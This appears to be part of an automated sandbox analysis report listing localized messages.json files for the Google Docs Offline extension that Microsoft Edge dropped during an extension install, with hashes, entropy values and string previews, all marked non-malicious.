C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
